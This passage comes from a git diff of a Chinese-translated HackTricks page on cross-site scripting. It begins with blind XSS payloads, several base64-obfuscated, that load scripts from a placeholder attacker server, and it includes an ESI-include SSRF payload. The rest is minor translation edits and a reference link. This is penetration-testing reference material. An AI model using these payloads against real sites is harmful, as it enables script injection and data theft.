'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - 访问隐藏内容
|
||||
|
||||
@ -1509,7 +1534,7 @@ xss-in-markdown.md
|
||||
|
||||
### XSS 到 SSRF
|
||||
|
||||
在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用以下有效载荷:
|
||||
在一个 **使用缓存** 的网站上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
@ -1518,8 +1543,8 @@ xss-in-markdown.md
|
||||
|
||||
### 动态创建 PDF 中的 XSS
|
||||
|
||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人**,使其 **执行任意 JS 代码**。\
|
||||
因此,如果 **PDF 创建机器人发现**某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
|
||||
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1537,7 +1562,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
|
||||
|
||||
示例 [**在 Gmail 中的 Amp4Email 的 XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### XSS 上传文件 (svg)
|
||||
|
||||
@ -1612,5 +1637,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user